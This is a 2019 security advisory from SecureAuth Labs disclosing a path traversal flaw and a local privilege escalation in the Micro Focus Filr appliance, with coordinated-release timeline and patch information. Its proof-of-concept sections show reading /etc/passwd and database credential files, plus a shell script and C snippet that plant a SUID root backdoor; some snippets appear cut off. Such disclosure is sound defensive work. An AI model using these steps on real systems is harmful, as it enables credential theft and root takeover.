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Date: Wed, 20 Feb 2019 18:54:24 +0000
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Subject: [SAUTH-2019-0001] - Micro Focus Filr Multiple Vulnerabilities

SecureAuth - SecureAuth Labs Advisory

Micro Focus Filr Multiple Vulnerabilities

1. *Advisory Information*

Title: Micro Focus Filr Multiple Vulnerabilities
Advisory ID: SAUTH-2019-0001
Advisory URL:
Date published: 2019-02-20
Date of last update: 2019-02-20
Vendors contacted: Micro Focus
Release mode: Coordinated release

2. *Vulnerability Information*

Class: Path traversal [CWE-22], Permissions, Privileges, and Access
Control [CWE-264]
Impact: Security bypass, Information leak
Remotely Exploitable: Yes
Locally Exploitable: Yes
CVE Name: CVE-2019-3474, CVE-2019-3475

3. *Vulnerability Description*

Novell (now part of Micro Focus [1]) website states that:
Micro Focus Filr [2] provides file access and sharing, and lets users
access their home directories and network folders from desktops, mobile
devices, and the Web. Users can also synchronize their files to their PC
or Mac. Changes that they make to downloaded copies are kept in sync
with the originals on their network file servers. And finally, users can
also share files internally and externally, and those with the share can
collaborate with each other by commenting on the files.

A vulnerability was found in the Micro Focus Filr Appliance, which would
allow an attacker with regular user access to read arbitrary files of
the filesystem. Furthermore, a vulnerability in the famtd daemon could
allow a local attacker to elevate privileges.

4. *Vulnerable Packages*

. Micro Focus Filr
. Older versions are probably affected too, but they were not checked.

5. *Vendor Information, Solutions and Workarounds*

Micro Focus released Filr 3.0 Security Update 6 that addresses the
reported issues:

Also, Micro Focus published the following Security Notes:


6. *Credits*

These vulnerabilities were discovered and researched by Matias Choren
from SecureAuth. The publication of this advisory was coordinated by
Leandro Cuozzo from SecureAuth Advisories Team.

7. *Technical Description / Proof of Concept Code*

7.1. *Path Traversal*

The 'filename' parameter of the '/ssf/f/viewFile' endpoint is vulnerable
to Path Traversal attacks. An authenticated, low-privileged user may be
able to abuse this functionality in order to read arbitrary files on the

Proof of Concept:

1. As an authenticated user, upload a sample PDF file in the 'My Files'
2. After the upload finishes, click on the small arrow next to the file
-> 'View Details'.
3. The browser will issue a few requests to the web application, one of
them being the one used for displaying the thumbnail of the file we've
just uploaded. This request has the following structure:


4. If the 'viewType' parameter is set to 'image', as in this case, we
can escape the current directory and include arbitrary files, as long as
they are readable by the 'wwwrun' user (the user Apache Tomcat is
currently running as). For example, we could read the '/etc/passwd' file:

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=803689DA9BA5DA9CBA2B7DD246A50531
Connection: close

HTTP/1.1 200 OK
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-UA-Compatible: IE=Edge
X-Content-Type-Options: nosniff
Cache-Control: no-cache
Strict-Transport-Security: max-age=0
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Content-Type: image/jpeg
Date: Mon, 21 Jan 2019 14:53:37 GMT
Connection: close
Server: Filr
Content-Length: 1506



5. Also, an interesting file to look for would be
'/vastorage/conf/'. This zip file contains a bunch of
different configuration files, including ''
which, among other things, defines connection parameters such as the
username and password (base64 encoded) for the MySQL database:


7.2. *Local Privilege Escalation*

As per the description: 'novell-famtd provide CIFS & NCP file access
support for Filr server to request and respond to HTTP request coming
from Filr Client/ Browser'. This daemon runs during startup and can be
abused to elevate privileges on a Filr appliance.

Proof of Concept:

1. The 'famtd' binary located at '/opt/novell/filr/bin/' and its
containing folder are owned by the 'wwwrun' user, as can be seen next:

wwwrun@...r:/opt/novell/filr/bin> ls -lha
total 196K
drwxr-x--- 2 wwwrun www 4,0K ene 21 17:22 .
drwxr-x--- 8 wwwrun www 4,0K ene 14 18:41 ..
-rwxr-x--- 1 wwwrun www  23K feb  8  2017 famtconfig
-rwxr-x--- 1 wwwrun www 117K ene 14 18:19 famtd
-rwxr-x--- 1 wwwrun www  905 feb  8  2017
-rwxr-x--- 1 wwwrun www  31K jun 21  2018 kablink-teaming-tools.jar

2. This binary is referenced and later executed in the
'/etc/init.d/novell-famtd' init script, meaning that it will run with
root privileges on startup:

# /etc/init.d/novell-famtd


# Check for missing binaries (stale symlinks should not happen)
# Note: Special treatment of stop for LSB conformance


## Start daemon with startproc(8). If this fails
## the return value is set appropriately by startproc.
ulimit -c unlimited
/sbin/startproc $FAMT_BIN


3. If an attacker manages to run arbitrary commands on the Filr
appliance as the 'wwwrun' user, they could replace the
'/opt/novell/filr/bin/famtd' binary with, for example, a custom bash
script that writes a SUID backdoor on the filesystem:


# C snippet for setting group and user identity to 'root'

/bin/cat <<EOM >$FILE
#include <unistd.h>

int main(void) {
        execl("/bin/bash", "bash", 0);

# Compile it
gcc /tmp/exp.c -o /tmp/exp

# Set suid bit
chmod -c 4755 /tmp/exp

# Call the original famtd daemon

4. After a server reboot, we can run '/tmp/exp' and get root privileges
on the server:

wwwrun@...r:/tmp> id
uid=30(wwwrun) gid=8(www) groups=8(www)
wwwrun@...r:/tmp> ls -lha
total 96K
drwxrwxrwt 18 root         root         4,0K ene 21 17:15 .
drwxr-xr-x 27 root         root         4,0K ene 21 14:14 ..


-rwsr-xr-x  1 root         root          12K ene 21 17:14 exp
-rw-r--r--  1 root         root          137 ene 21 14:14 exp.c


wwwrun@...r:/tmp> ./exp
filr:/tmp # id
uid=0(root) gid=0(root) groups=0(root),8(www)
filr:/tmp #

8. *Report Timeline*
2019-01-23: SecureAuth sent an initial notification to Micro Focus
including a draft advisory.
2019-01-23: Micro Focus acknowledged reception of initial contact.
2019-01-24: Micro Focus confirmed the reported vulnerabilities and
informed that they were aiming to deliver a patch around mid February.
2019-01-23: SecureAuth thanks the reply.
2019-02-11: SecureAuth asked for an update.
2019-02-11: Micro Focus replied saying that they were expecting to
release the patch by the end of the week.
2019-02-11: SecureAuth proposed to set the publication date for next
2019-02-13: Micro Focus confirmed February 20th as the release date.
2019-02-20: Advisory SAUTH-2019-0001 published.

9. *References*


10. *About SecureAuth Labs*

SecureAuth Labs, the research arm of SecureAuth Corporation, is charged
with anticipating the future needs and requirements for information
security technologies. We conduct research in several important areas of
computer security, including identity-related attacks, system
vulnerabilities and cyber-attack planning. Research includes problem
formalization, identification of vulnerabilities, novel solutions and
prototypes for new technologies. We regularly publish security
advisories, primary research, technical publications, research blogs,
project information, and shared software tools for public use at

11. *About SecureAuth*

SecureAuth is leveraged by leading companies, their employees, their
customers and their partners to eliminate identity-related breaches.
As a leader in access management, SecureAuth is powering an identity
security revolution by enabling people and devices to intelligently
and adaptively access systems and data, while effectively keeping bad
actors from doing harm. By ensuring the continuous assessment of risk
and enablement of trust, SecureAuth's highly flexible platform makes
it easier for organizations to prevent the misuse of credentials. To
learn more, visit, call (949) 777-6959,
or email us at

12. *Disclaimer*

The contents of this advisory are copyright (c) 2019 SecureAuth, and are
licensed under a Creative Commons Attribution Non-Commercial Share-Alike
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